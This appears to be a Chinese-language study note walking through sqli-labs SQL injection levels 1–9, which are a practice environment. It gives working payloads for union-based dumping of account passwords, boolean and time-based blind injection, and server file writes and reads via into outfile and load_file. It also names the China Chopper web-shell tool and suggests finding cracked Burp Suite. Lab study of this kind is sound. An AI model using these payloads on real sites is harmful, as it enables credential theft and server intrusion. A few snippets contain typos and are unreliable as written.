SQL注入less1-9
什么是SQL注入?
一种利用网站设计的缺陷,获取后台用户的登录信息
前期准备工具:
phpstudy:https://www.xp.cn/download.html
中国菜刀:https://github.com/
burp suite:找破解资源
Java:https://www.oracle.com/cn/technical-resources/
firfox:拓展xxxxxxx-xxxxx
基础知识了解:
Apache:web网站容器。
PHP:解释性语言。
Mysql:数据库管理系统。
Http协议:超文本传输协议。
--+ -- #都是sql语句的注释符号
or and 用数学中的或、和来理解
数据库(database)表(tables)列(column)
MySQL的用法:cmd启用,mysql -u root -p
查库:select 1 schema_name from information_schema.schemata
在荧光处添加并在后面单词加()。用limit(一个个搜索)、group_concat(查看所有)查看库的信息
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'荧光部分内容填写表名称
group_concat(schema_name) from information_schema.schemata--+
查字段:select username,password from security.users
可查看单个账户加密码concat_ws( '~',username,password) from security.users
可查看所有数据group_concat(concat_ws( '~',username,password)) from security.users
举例:less-04
(1)?id=1”(查看是否有注入)
(2)?id=1' order by 3--+(判断有多少列)
(3)?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+9(使用十六进制更为精确,查看所有数据库)
(4)?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+(从库中查询所有表的信息)
(5)?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+(查询所有列的信息)
(6)?id=-1") union select
1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+(直接得到所有的账号和密码,并且用~符号隔开)
举例less-05
(1)?id=1' (找到注入点)
(2)?id=1' order by 3--+(判断有多少列)
(3)?id=1' and left((select database()),1)='a'--+(利用burpsuite爆破找到数据库security)
方法二:select ascii(substr((select database()),1,1))> 110;(使用MySQL,二分法找到数据库security)
(4)?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)>1--+(红色为可变参数,二分法猜解得到security下的所有表)
(5)?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=7573657273 limit 1,1),1,1)>1--+
(二分法猜解users内的字段)
(6)?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))--+(继续猜解得到字段内的值)
还可以使用mysql快速解出
知识补给站:
?id=1'用于判断类型注入(字符、数字)
limit 0,1;其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。
order by 2 对第二列数据进行排序(判断列)
union select 判断显示位
regexp函数:select user() regexp'r'
user()的结果是root,regexp为匹配root的正则表达式匹配与regexp相似
select database() regexp 's';匹配第一个字符是否为s
like函数:select user() like 'ro%' 匹配与regexp相似
select database() like 's';匹配第一个字符是否为s
substr(a,b,c) select substr() xxx
substr(a,b,c) 从b位置开始,截取a字符串c位长度
select substr(seclect database()1,3) = 'sec';匹配前三个字符是否是sec
into outfile写文件
用法:select'mysql is very good' into outfile 'test1.txt';
select 'crow'into outfile 'D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\test1.txt';
load-file()读取本地文件
用法:select load_file( 'D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\test1.txt')
select if()
select database()选择当前数据库
substr(select database(),1,1)当前数据库分割,取出第一位数据
ascii(substr(select database(),1,1))转化为assic
select if(ascii(substr((select database()),1,1)) > 10, 2,3)第一位大于10,返回2,否则返回3
时间盲注
?id=1' and sleep(5)--+使用延时判断是否有注入点
?id=1' and if(length(database())=8,1,sleep(5)--+加载快,则长度为八位
浙公网安备 33010602011771号